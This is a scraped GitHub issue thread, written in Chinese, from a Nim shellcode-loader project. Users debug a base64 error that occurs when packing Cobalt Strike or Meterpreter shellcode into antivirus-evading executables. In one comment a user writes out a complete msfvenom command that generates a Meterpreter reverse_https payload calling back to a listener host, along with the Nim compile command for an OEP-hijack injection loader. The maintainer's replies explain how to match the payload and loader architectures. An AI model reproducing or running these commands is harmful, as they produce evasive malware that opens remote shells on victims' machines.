Coder Social home page Coder Social logo

Comments (6)

aeverj avatar aeverj commented on May 19, 2024

凯撒和3des加密方法都换过,6种运行shellcode的方法也都随机试了几个,始终在运行加密后Cobalt Strike的Shellcode制作的exe文件报错,初步怀疑现在的的nim更新了base 64方面的加密代码,所以程序产生了兼容性bug?请作者看看怎么解决?谢谢

手心输入法截图20210928183244488

?

nim版本

我之后又试了官方几个大版本的代表版本,问题依旧

12121212

你用64位的系统、64位的nim编译运行试试

from nimshellcodeloader.

spooky18 avatar spooky18 commented on May 19, 2024

你用64位的系统、64位的nim编译运行试试

在win 7 64位系统,现在Nim换64位,Mingw64位,问题依旧。以下使用参数有什么问题吗?

Shell Code参数
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_https -f raw LPORT=443 -o xx.bin LHOST=192.168.0.2

Nim Shell code loader参数
nim cpp -d:TDEA --passL:-static -d:release -d:source="E:\xx.bin" --app:gui --passL:-lntdll --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim

from nimshellcodeloader.

aeverj avatar aeverj commented on May 19, 2024

你用64位的系统、64位的nim编译运行试试

在win 7 64位系统,现在Nim换64位,Mingw64位,问题依旧。以下使用参数有什么问题吗?

Shell Code参数 msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_https -f raw LPORT=443 -o xx.bin LHOST=192.168.0.2

Nim Shell code loader参数 nim cpp -d:TDEA --passL:-static -d:release -d:source="E:\xx.bin" --app:gui --passL:-lntdll --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim

msfvenom 生成shellcode的时候选择操作系统位数要和nim的相同,应该是x64

from nimshellcodeloader.

spooky18 avatar spooky18 commented on May 19, 2024

64位测试成功了,但是现在有个软件必须用32的shellcode,发现始终是这个错误,请问能否修复这个问题?或者给相应的解决方案,谢谢!

from nimshellcodeloader.

aeverj avatar aeverj commented on May 19, 2024

64位测试成功了,但是现在有个软件必须用32的shellcode,发现始终是这个错误,请问能否修复这个问题?或者给相应的解决方案,谢谢!

程序的版本要和shellcode的版本要一致

from nimshellcodeloader.

spooky18 avatar spooky18 commented on May 19, 2024

没明白您说的程序版本和shellcode的版本有什么关系,shellcode是32位的,nim和mingw也是32位的,编译测试message弹框的shellcode,但是稍微大一点的程序就会遇到这个base64编码错误了,这应该是base编码/解码shellcode方面的问题吧?

from nimshellcodeloader.

Related Issues (12)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.